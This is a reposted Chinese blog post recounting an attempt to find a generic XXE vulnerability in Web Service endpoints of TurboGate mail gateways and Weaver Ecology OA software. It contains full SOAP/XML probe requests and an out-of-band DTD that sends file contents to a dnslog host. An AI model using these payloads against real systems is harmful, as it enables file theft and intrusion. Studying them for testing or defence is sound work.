一次失败的Web Service XXE 通用挖掘

栏目: 服务器 · 发布时间: 8年前

内容简介:一次失败的Web Service XXE 通用挖掘

大锅大姐新年好,请不要D我~

当时在漏洞库看RMB漏洞的时候,看到了如下漏洞。

<TurboGate邮件网关漏洞合集>

在TurboGate中使用的是axis2<=1.5.1版本,存在XXE漏洞,在利用的时候需要将Content-Type设置为application/xml,POST包如下:

POST /services/TM_User.TM_UserHttpSoap11Endpoint/ HTTP/1.0
SOAPAction: "urn:getUserOrgList"
Content-Type: application/xml
Content-Length: 873
Host: **.**.**.**
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "aaaaa">%remote;]>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://**.**.**.**/soap/envelope/" xmlns:soap="http://**.**.**.**/wsdl/soap/"  xmlns:xsd="http://**.**.**.**/1999/XMLSchema"  xmlns:xsi="http://**.**.**.**/1999/XMLSchema-instance"  xmlns:m0="http://**.**.**.**/"  xmlns:SOAP-ENC="http://**.**.**.**/soap/encoding/" xmlns:urn="http://user.webservice.turbomail">
     <SOAP-ENV:Header/>
     <SOAP-ENV:Body>
        <urn:getUserOrgList>
           <urn:apiName>${alpharand}</urn:apiName>
           <urn:apiPassword>g00dPa$$w0rD</urn:apiPassword>
           <urn:userName>${alpharand}</urn:userName>
           <urn:domain>1</urn:domain>
           <urn:resultType>1</urn:resultType>
        </urn:getUserOrgList>
     </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

原文链接,有兴趣可以看看去。

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

他这里直接构造的不存在的实体协议 SYSTEM "aaaa" 通过报错看到了系统提示错误,不存在文件,说明是允许引入外部实体的。

接下来他直接丢出了一个nc 反弹的截图,然后就是任意文件读取。

∑(っ °Д °;)っ

Σ( ° △ °|||)

︴ (°□°;)

( ° ▽、° )

这尼玛怎么做到的。。。

后来去看了一下XML的基础知识 XML攻防

ㄟ( ▔, ▔ )ㄏ 所以是怎么做到的。

不死心,在大Nosec里面搜XXE看,看到了很多漏洞的证明方式,是通过DNS.log信息提交漏洞。结合之前的漏洞想了一下,可能是 file: 读取文件的协议被禁止了。但是没有禁止 http 协议。所以可以ping通DNS.log。

那么问题来了。怎么通过 http 协议造成任意文件读取???

不死心,继续看漏洞,终于让我看到了几个例子。

如果在本地构造恶意的dtd文件。

like this

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://66ae2b.dnslog.info/?%payload;'>">
%all;

就可以造成任意文件读取了。

看了这么多,我肯定要找个练手的,找OA吧,毕竟通用,因为OA看的比较多,所以我映像中泛微Ecology的Web Service是存在 SQL 注入,但是从来没见过XXE漏洞。试一试吧。๑乛◡乛๑

POST http://*.*.*.*:90//services/MobileService HTTP/1.0
SOAPAction: ""
Content-Type: application/xml
Content-Length: 831

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE v1 [<!ENTITY % remote SYSTEM "aaa">%remote;]>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="webservices.services.weaver.com.cn" xmlns:urn2="http://workflow.webservices.mobile.weaver" xmlns:urn3="http://hrm.weaver" xmlns:urn4="http://webservices.docs.weaver">
     <SOAP-ENV:Header/>
     <SOAP-ENV:Body>
        <urn:checkUser>
           <urn:in0>1</urn:in0>
           <urn:in1>1</urn:in1>
        </urn:checkUser>
     </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

输入错误协议,返回错误提示,OK,存在外部实体引入。

一次失败的Web Service XXE 通用挖掘

ping一下我的DNS.log

一次失败的Web Service XXE 通用挖掘

一次失败的Web Service XXE 通用挖掘

ping一下我的VPS

一次失败的Web Service XXE 通用挖掘

当时没开博客,也没开放端口,所以没有部署dtd。这也是为什么我选择开个博客的原因。/斜眼笑(●´∀`●)

挺兴奋了,那应该是通用没跑了,后来去找了一下其他啊的Ecology....

tooyoung 因为之前Ecology的Web Service SQL漏洞,大部分的Web Service关闭了。

最新版本的Web Service 也全部关闭了。。。

所以说这是一次失败的通用。。。


以上所述就是小编给大家介绍的《一次失败的Web Service XXE 通用挖掘》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Artificial Intelligence

Artificial Intelligence

Stuart Russell、Peter Norvig / Pearson / 2009-12-11 / USD 195.00

The long-anticipated revision of this #1 selling book offers the most comprehensive, state of the art introduction to the theory and practice of artificial intelligence for modern applications. Intell......一起来看看 《Artificial Intelligence》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

URL 编码/解码
URL 编码/解码

URL 编码/解码